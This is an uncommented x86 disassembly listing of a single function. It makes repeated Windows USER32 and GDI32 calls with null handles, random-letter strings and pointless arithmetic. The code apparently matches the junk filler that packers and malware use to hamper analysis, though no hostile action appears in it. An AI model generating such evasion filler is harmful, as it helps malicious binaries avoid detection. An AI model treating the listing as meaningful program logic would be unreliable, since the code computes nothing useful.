push 0xb150aca
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 0x2c], eax
movzx eax, byte [ebp - 0x20]
add eax, dword [ebp - 0x18]
mov word [ebp - 0x24], ax
push str.fvusllltoeie
push 0xe1d8b55
push 0x663e8be
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x18], eax
xor ecx, ecx
sub ecx, dword [ebp - 0xc]
movzx edx, word [ebp - 0x20]
add ecx, dword [ebp - 8]
add edx, ecx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], 0x57a
mov ax, word [ebp - 0x18]
mov word [ebp - 0x2c], ax
imul ecx, dword [ebp - 0x18], 0
xor edx, edx
sub edx, ecx
imul eax, dword [ebp - 0x14], 0
add edx, eax
and edx, 0x1ced
mov dword [ebp - 0x20], edx
mov ecx, dword [ebp - 0xc]
add ecx, 0x20
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
lea ecx, [eax + edx - 0x15d8]
movzx edx, byte [ebp - 0x18]
sub ecx, edx
mov dword [ebp - 0x1c], ecx
movzx eax, word [ebp - 0x20]
xor ecx, ecx
sub ecx, eax
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x2c], edx
lea eax, [ebp - 0x28]
push eax
push 0x29b044
lea ecx, [ebp - 8]
push ecx
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0xc], 0x5ba
jb 0x5d866c
mov dword [ebp - 0xe8], 0
xor edx, edx
mov dword [ebp - 0xe4], edx
mov dword [ebp - 0xe0], edx
mov dword [ebp - 0xdc], edx
push 0x46d68c0
push 0
lea eax, [ebp - 0xe8]
push eax
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0x20], eax
xor ecx, ecx
sub ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x1c]
mov byte [ebp - 0x14], cl
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x28]
push eax
push 0x861d663
push 0x3c9af5a
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 4], 0x107a
jb 0x5d8912
mov dword [ebp - 0x14], 0xc1a
xor ecx, ecx
sub ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], ecx
xor edx, edx
sub edx, dword [ebp - 0x20]
movzx eax, byte [ebp - 0xc]
sub edx, eax
sub edx, dword [ebp - 0xc]
movzx ecx, byte [ebp - 4]
imul eax, ecx, 0
sub edx, eax
mov dword [ebp - 0x2c], edx
mov ecx, dword [ebp - 0x14]
add ecx, 0x1f
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], 0
xor edx, edx
sub edx, dword [ebp - 0x20]
imul eax, dword [ebp - 0x1c], 0x611
movzx ecx, word [ebp - 0xc]
imul eax, ecx
add edx, eax
mov dword [ebp - 4], edx
lea edx, [ebp - 8]
push edx
push 0xc8e9bba
lea eax, [ebp - 0x20]
push eax
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x2c], eax
xor ecx, ecx
mov word [ebp - 0xe20], cx
xor edx, edx
mov dword [ebp - 0xe1e], edx
mov dword [ebp - 0xe1a], edx
mov dword [ebp - 0xe16], edx
mov dword [ebp - 0xe12], edx
mov dword [ebp - 0xe0e], edx
mov dword [ebp - 0xe0a], edx
mov dword [ebp - 0xe06], edx
mov dword [ebp - 0xe02], edx
mov dword [ebp - 0xdfe], edx
mov word [ebp - 0xdfa], dx
lea eax, [ebp - 0xe20]
push eax
push 0x6cb28b
push 0
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov dword [ebp - 8], eax
cmp dword [ebp - 0x14], 0xc77
jb 0x5d8758
movzx ecx, byte [ebp - 0x10]
add ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 4]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x24], 0
jmp 0x5d883d
mov edx, dword [ebp - 0x24]
add edx, 0xc
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x24], 0x18
jae 0x5d88bf
push 0x8caa4be
push 0
call dword [sym.imp.USER32.dll_GetClassLongW]
mov dword [ebp - 0x1c], eax
xor eax, eax
mov word [ebp - 0x1ff0], ax
xor ecx, ecx
mov dword [ebp - 0x1fee], ecx
mov dword [ebp - 0x1fea], ecx
mov dword [ebp - 0x1fe6], ecx
mov dword [ebp - 0x1fe2], ecx
mov dword [ebp - 0x1fde], ecx
mov dword [ebp - 0x1fda], ecx
mov dword [ebp - 0x1fd6], ecx
mov dword [ebp - 0x1fd2], ecx
mov dword [ebp - 0x1fce], ecx
mov word [ebp - 0x1fca], cx
lea edx, [ebp - 0x1ff0]
push edx
push 0xcb5df25
push 0
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov dword [ebp - 0x1c], eax
xor eax, eax
sub eax, dword [ebp - 0x2c]
mov byte [ebp - 0x1c], al
jmp 0x5d8834
lea ecx, [ebp - 0x1c]
push ecx
push 0x3d89236
lea edx, [ebp - 0x10]
push edx
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x14], eax
push 0xce2c5fc
push 0x736cd1d
push 0
call dword [sym.imp.USER32.dll_GetMenuDefaultItem]
mov dword [ebp - 0x24], eax
movzx eax, word [ebp - 0xc]
imul ecx, eax, 0
mov edx, 0x1d13
sub edx, ecx
movzx eax, byte [ebp - 0x24]
add edx, eax
movzx ecx, byte [ebp - 0x28]
sub edx, ecx
imul eax, dword [ebp - 4], 0
sub edx, eax
add edx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], edx
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0xc], 0
jne 0x5d89c9
lea ecx, [ebp - 0x2c]
push ecx
push 0xc0bd3d
lea edx, [ebp - 0x14]
push edx
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x2c], eax
push 0x88f7183
push 0xb17063b
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0xc]
imul ecx, dword [ebp - 0x10], 0
add eax, dword [ebp - 0x20]
add ecx, eax
sub ecx, dword [ebp - 0x14]
movzx edx, word [ebp - 0x20]
sub ecx, edx
movzx eax, word [ebp - 0x24]
add ecx, eax
mov dword [ebp - 0x2c], ecx
push 0xdc02cf2
push 0x51baf4e
push 0
call dword [sym.imp.USER32.dll_GetMenuDefaultItem]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x20]
movzx edx, word [ebp - 0x1c]
sub ecx, edx
add ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x14]
mov word [ebp - 0x28], cx
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x10]
xor ecx, ecx
sub ecx, eax
sub ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x20]
mov byte [ebp - 4], cl
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 4]
movzx ecx, byte [ebp - 0x2c]
add edx, dword [ebp - 0x24]
add ecx, edx
mov eax, dword [ebp - 0x18]
shl eax, cl
mov byte [ebp - 0x10], al
xor ecx, ecx
mov word [ebp - 0xe70], cx
xor edx, edx
mov dword [ebp - 0xe6e], edx
mov dword [ebp - 0xe6a], edx
mov dword [ebp - 0xe66], edx
mov dword [ebp - 0xe62], edx
mov dword [ebp - 0xe5e], edx
mov dword [ebp - 0xe5a], edx
mov dword [ebp - 0xe56], edx
mov dword [ebp - 0xe52], edx
mov dword [ebp - 0xe4e], edx
mov word [ebp - 0xe4a], dx
lea eax, [ebp - 0xe70]
push eax
push 0x394965a
push 0
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x24], 0
ja 0x5d8ac8
push str.teatgeottttrspee
push 0xd1d3c08
push 0xd1e91c4
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0xc], eax
movzx ecx, byte [ebp - 0x14]
imul ecx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x2c]
movzx edx, byte [ebp - 0xc]
movzx eax, word [ebp - 0x20]
imul edx, eax
and ecx, edx
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x18]
push edx
push 0x146fc2e
push 0x5c52ce1
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x14]
add eax, 0x196
sub eax, dword [ebp - 0x20]
mov byte [ebp - 0x10], al
push str.nynxhterst
push 0xff52e56
push 0x3219233
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x10]
movzx edx, byte [ebp - 0xc]
sub ecx, edx
sub ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x20], ecx
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x10], eax
imul eax, dword [ebp - 8], 0
add eax, dword [ebp - 4]
mov dword [ebp - 0x20], eax
movzx cx, byte [ebp - 0x2c]
mov word [ebp - 0xc], cx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0xc]
je 0x5d9464
cmp dword [ebp - 0x24], 0x1b0a
jb 0x5d8be7
cmp dword [ebp - 0x24], 0
jne 0x5d8be7
mov dword [ebp - 0x10], 0x90
movzx eax, byte [ebp - 4]
xor ecx, ecx
sub ecx, eax
mov edx, dword [ebp - 0x28]
lea eax, [ecx + edx + 0x2a9]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x10]
add edx, 0x12
mov dword [ebp - 0x10], edx
movzx eax, word [ebp - 0x18]
sub eax, dword [ebp - 0x14]
movzx ecx, word [ebp - 0x2c]
add eax, ecx
sub eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
push str.toitruuloetv
push 0x1736b5e
push 0xc7b6be4
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x18], eax
movzx edx, word [ebp - 0xc]
movzx eax, byte [ebp - 0xc]
sub edx, eax
movzx ecx, byte [ebp - 0x14]
lea edx, [edx + ecx - 0x16a2]
sub edx, dword [ebp - 0x1c]
imul eax, dword [ebp - 0xc], 0
add edx, eax
mov dword [ebp - 4], edx
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0xc]
movzx ecx, word [ebp - 0x2c]
add ecx, dword [ebp - 0xc]
shl edx, cl
mov dword [ebp - 8], edx
cmp dword [ebp - 0x10], 0xa2
jb 0x5d8b23
mov eax, dword [ebp - 0x20]
add eax, 0x15a7
mov dword [ebp - 0x14], eax
imul ecx, dword [ebp - 0x2c], 0
mov edx, dword [ebp - 4]
sub edx, ecx
mov dword [ebp - 0x24], edx
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x14], eax
push str.ehedalhosdlrtd
push 0x2e4846d
push 0x30edeb6
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x14], eax
xor eax, eax
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
lea eax, [edx + ecx + 0x3b2e]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x2c], 0
jae 0x5d8cef
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x14]
movzx edx, word [ebp - 0xc]
add ecx, edx
sub ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
xor eax, eax
mov word [ebp - 0x3080], ax
xor ecx, ecx
mov dword [ebp - 0x307e], ecx
mov dword [ebp - 0x307a], ecx
mov dword [ebp - 0x3076], ecx
mov dword [ebp - 0x3072], ecx
mov dword [ebp - 0x306e], ecx
mov dword [ebp - 0x306a], ecx
mov dword [ebp - 0x3066], ecx
mov dword [ebp - 0x3062], ecx
mov dword [ebp - 0x305e], ecx
mov word [ebp - 0x305a], cx
lea edx, [ebp - 0x3080]
push edx
push 0x4dba097
push 0
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov dword [ebp - 0x10], eax
push 0x8bbd3dd
push 0
call dword [sym.imp.USER32.dll_GetClassLongW]
mov dword [ebp - 0x10], eax
push str.fyrrbwuwnnseeib
push 0x1863f4a
push 0x2723e5c
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 4]
xor ecx, ecx
sub ecx, dword [ebp - 8]
xor eax, ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x728], 0
xor edx, edx
mov dword [ebp - 0x724], edx
mov dword [ebp - 0x720], edx
mov dword [ebp - 0x71c], edx
push 0x6e9c39a
push 0
lea eax, [ebp - 0x728]
push eax
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x28]
mov dword [ebp - 0x14], ecx
imul edx, dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x24]
add eax, 0xd3e
sub eax, dword [ebp - 0xc]
and edx, eax
mov dword [ebp - 0x18], edx
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 8]
jbe 0x5d8e4f
xor edx, edx
mov word [ebp - 0xec0], dx
xor eax, eax
mov dword [ebp - 0xebe], eax
mov dword [ebp - 0xeba], eax
mov dword [ebp - 0xeb6], eax
mov dword [ebp - 0xeb2], eax
mov dword [ebp - 0xeae], eax
mov dword [ebp - 0xeaa], eax
mov dword [ebp - 0xea6], eax
mov dword [ebp - 0xea2], eax
mov dword [ebp - 0xe9e], eax
mov word [ebp - 0xe9a], ax
lea ecx, [ebp - 0xec0]
push ecx
push 0x5ec22cb
push 0
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov dword [ebp - 0x28], eax
movzx edx, byte [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
sub eax, edx
add eax, dword [ebp - 0x28]
movzx ecx, byte [ebp - 0x18]
sub eax, ecx
sub eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x14]
mov byte [ebp - 8], al
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
push 0xedcc4a3
push 0xc7539f3
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x2c], eax
movzx ecx, byte [ebp - 0x2c]
add ecx, dword [ebp - 0x14]
movzx edx, byte [ebp - 8]
imul edx, dword [ebp - 0x28]
add ecx, edx
sub ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x20], ecx
push str.pdsaurwelleelgnblrni
push 0xc8a1644
push 0xfdb0d1a
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x10], eax
xor eax, eax
sub eax, dword [ebp - 0x28]
add eax, 0x1b0
mov dword [ebp - 8], eax
xor ecx, ecx
mov word [ebp - 0x2040], cx
xor edx, edx
mov dword [ebp - 0x203e], edx
mov dword [ebp - 0x203a], edx
mov dword [ebp - 0x2036], edx
mov dword [ebp - 0x2032], edx
mov dword [ebp - 0x202e], edx
mov dword [ebp - 0x202a], edx
mov dword [ebp - 0x2026], edx
mov dword [ebp - 0x2022], edx
mov dword [ebp - 0x201e], edx
mov word [ebp - 0x201a], dx
lea eax, [ebp - 0x2040]
push eax
push 0xc941917
push 0
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov dword [ebp - 4], eax
cmp dword [ebp - 0x2c], 0
jne 0x5d8e5f
cmp dword [ebp - 0xc], 0
jne 0x5d8fd7
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 4]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x18], 0
jmp 0x5d8e7d
mov edx, dword [ebp - 0x18]
add edx, 0xc
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0xc
jae 0x5d8ecc
mov dword [ebp - 0x108], 0
xor eax, eax
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], eax
push 0xcb03181
push 0
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 8], eax
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x24], eax
imul edx, dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], edx
jmp 0x5d8e74
push 0x147a812
push 0x7767c2c
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 0x20], eax
mov dword [ebp - 8], 0
jmp 0x5d8ef3
mov eax, dword [ebp - 8]
add eax, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xc
jae 0x5d8f90
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x18]
movzx edx, byte [ebp - 0x2c]
add ecx, edx
movzx eax, word [ebp - 0x1c]
add ecx, eax
mov dword [ebp - 0xc], ecx
movzx ecx, byte [ebp - 0x20]
movzx edx, byte [ebp - 0x18]
sub ecx, edx
imul eax, dword [ebp - 0xc], 0
movzx edx, byte [ebp - 0x20]
sub eax, edx
xor ecx, eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], 0x731
imul eax, dword [ebp - 0x18], 0
xor ecx, ecx
sub ecx, eax
mov edx, dword [ebp - 0x10]
imul edx, dword [ebp - 0xc]
sub ecx, edx
add ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x24]
add ecx, 0x13
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 4]
movzx eax, byte [ebp - 4]
sub edx, eax
sub edx, 0x1f1
mov dword [ebp - 0x18], edx
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x24], 0x76a
jb 0x5d8f4c
jmp 0x5d8eea
mov dword [ebp - 0xa48], 0
xor ecx, ecx
mov dword [ebp - 0xa44], ecx
mov dword [ebp - 0xa40], ecx
mov dword [ebp - 0xa3c], ecx
push 0x878b25d
push 0
lea edx, [ebp - 0xa48]
push edx
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0xc], 0xffffe5a7
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
imul eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
shl eax, cl
and eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x14]
and eax, ecx
mov byte [ebp - 0x1c], al
mov edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x14]
jne 0x5d90d6
cmp dword [ebp - 0x24], 0
jbe 0x5d90d6
mov eax, dword [ebp - 0x14]
sub eax, 0x8d7
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
push str.yhuaetsatl
push 0x6c0b7a5
push 0xbffb8df
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x28], eax
movzx ecx, word [ebp - 0x1c]
xor edx, edx
sub edx, ecx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x18]
or edx, eax
mov word [ebp - 0x28], dx
mov dword [ebp - 0x31c8], 0
push 0x2c
push 0
lea ecx, [ebp - 0x31c4]
push ecx
call fcn.005ff470
add esp, 0xc
lea edx, [ebp - 0x31c8]
push edx
push str.lslntdnshrhsttt
push 0
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [ebp - 0x24], eax
movzx eax, byte [ebp - 8]
mov edx, dword [ebp - 0x2c]
sub edx, eax
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x3db
shl edx, cl
mov word [ebp - 0xc], dx
mov dword [ebp - 0x128], 0
xor eax, eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
push 0x87fd8cc
push 0
lea ecx, [ebp - 0x128]
push ecx
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x24]
mov word [ebp - 0x18], dx
movzx eax, byte [ebp - 0xc]
add eax, dword [ebp - 0xc]
sub eax, dword [ebp - 4]
movzx ecx, word [ebp - 0x10]
add eax, ecx
and eax, 0x17c7
or eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x18], edx
movzx eax, word [ebp - 0x24]
imul ecx, eax, 0
imul ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x10]
movzx edx, word [ebp - 0x18]
imul edx, dword [ebp - 0x24]
add ecx, edx
sub ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x18]
jne 0x5d912a
cmp dword [ebp - 0x24], 0
jne 0x5d927b
mov dword [ebp - 0x24], 0x99e
imul ecx, dword [ebp - 0x1c], 0
xor edx, edx
sub edx, ecx
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x10]
or edx, eax
mov word [ebp - 0x2c], dx
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 8]
sub ecx, dword [ebp - 4]
imul edx, dword [ebp - 4], 0xbeb
sub ecx, edx
mov word [ebp - 0x20], cx
mov eax, dword [ebp - 0x24]
add eax, 0x1f
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x2c]
imul edx, dword [ebp - 0x14], 0
add ecx, edx
movzx eax, word [ebp - 4]
sub ecx, eax
movzx edx, word [ebp - 8]
add ecx, edx
sub ecx, dword [ebp - 4]
mov word [ebp - 0x28], cx
lea eax, [ebp - 0x20]
push eax
push 0x9fe561c
lea ecx, [ebp - 8]
push ecx
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x1c], eax
mov edx, 0xffffe40f
sub edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x28]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x28]
movzx ecx, word [ebp - 0x1c]
add eax, ecx
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x24], 0x9fb
jb 0x5d9145
mov dword [ebp - 0x748], 0
xor edx, edx
mov dword [ebp - 0x744], edx
mov dword [ebp - 0x740], edx
mov dword [ebp - 0x73c], edx
push 0x430ada
push 0
lea eax, [ebp - 0x748]
push eax
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, 0xccb
xor edx, edx
sub edx, dword [ebp - 8]
and ecx, edx
mov byte [ebp - 0x2c], cl
mov dword [ebp - 0x3318], 0
push 0x2c
push 0
lea eax, [ebp - 0x3314]
push eax
call fcn.005ff470
add esp, 0xc
lea ecx, [ebp - 0x3318]
push ecx
push str.gsnes
push 0
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [ebp - 0x2c], eax
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x1c]
push eax
push 0x568c864
push 0xfd0f1b3
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x10], eax
push 0x3786cc5
push 0x2239d65
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 0x24], eax
movzx ecx, word [ebp - 0x2c]
xor edx, edx
sub edx, ecx
sub edx, dword [ebp - 0xc]
and edx, dword [ebp - 4]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x20]
jae 0x5d939c
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x28]
je 0x5d939c
movzx edx, byte [ebp - 0x28]
add edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
lea ecx, [edx + eax + 0x72]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x4938], 0
push 0x2c
push 0
lea edx, [ebp - 0x4934]
push edx
call fcn.005ff470
add esp, 0xc
lea eax, [ebp - 0x4938]
push eax
push str.lesnaoegirrdlvnd
push 0
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x148], 0
xor ecx, ecx
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x140], ecx
mov dword [ebp - 0x13c], ecx
push 0x2d00c5c
push 0
lea edx, [ebp - 0x148]
push edx
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 4], eax
push 0x6106298
push 0
call dword [sym.imp.USER32.dll_GetClassLongW]
mov dword [ebp - 0x24], eax
imul eax, dword [ebp - 0x20], 0xa8d
sub eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 4]
movzx edx, word [ebp - 8]
sub ecx, edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x10]
movzx edx, word [ebp - 0xc]
sub eax, edx
add eax, 0x716
sub eax, dword [ebp - 0x1c]
and ecx, eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x3378], 0
push 0x2c
push 0
lea eax, [ebp - 0x3374]
push eax
call fcn.005ff470
add esp, 0xc
lea ecx, [ebp - 0x3378]
push ecx
push str.fiiirtctha
push 0
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 8], 0
je 0x5d9464
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x24]
sub edx, dword [ebp - 8]
mov dword [ebp - 0x28], edx
imul eax, dword [ebp - 0x28], 0
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
push 0x812428e
push 0
call dword [sym.imp.USER32.dll_GetClassLongW]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0xc]
push edx
push 0x1385b69
push 0xf59613c
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x1c], 0x8c0
xor eax, eax
sub eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x28]
lea edx, [eax + ecx - 0x16a6]
mov word [ebp - 0x14], dx
imul eax, dword [ebp - 0x14], 0
xor ecx, ecx
sub ecx, eax
sub ecx, 0x1cc7
and ecx, dword [ebp - 4]
mov byte [ebp - 0x10], cl
mov edx, dword [ebp - 0x1c]
add edx, 0x17
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x14], 0xfffff8a7
push 0xcd75b6
push 0x778eb37
push 0
call dword [sym.imp.USER32.dll_GetMenuDefaultItem]
mov dword [ebp - 0x28], eax
movzx eax, byte [ebp - 8]
imul ecx, eax, 0x53c
add ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x14]
mov dword [ebp - 4], edx
cmp dword [ebp - 0x1c], 0x8ee
jb 0x5d940c
xor eax, eax
sub eax, dword [ebp - 0x20]
sub eax, dword [ebp - 4]
add eax, 0x3e7
imul ecx, dword [ebp - 0x24], 0
sub eax, ecx
mov dword [ebp - 0x10], eax
xor edx, edx
mov word [ebp - 0xf10], dx
xor eax, eax
mov dword [ebp - 0xf0e], eax
mov dword [ebp - 0xf0a], eax
mov dword [ebp - 0xf06], eax
mov dword [ebp - 0xf02], eax
mov dword [ebp - 0xefe], eax
mov dword [ebp - 0xefa], eax
mov dword [ebp - 0xef6], eax
mov dword [ebp - 0xef2], eax
mov dword [ebp - 0xeee], eax
mov word [ebp - 0xeea], ax
lea ecx, [ebp - 0xf10]
push ecx
push 0x6c945da
push 0
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x1c]
xor edx, dword [ebp - 0x10]
mov dword [ebp - 0x20], edx
mov dword [ebp - 4], 0x1f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
lea edx, [ecx + eax - 0x15b0]
movzx eax, byte [ebp - 0x18]
xor edx, eax
mov dword [ebp - 0x20], edx
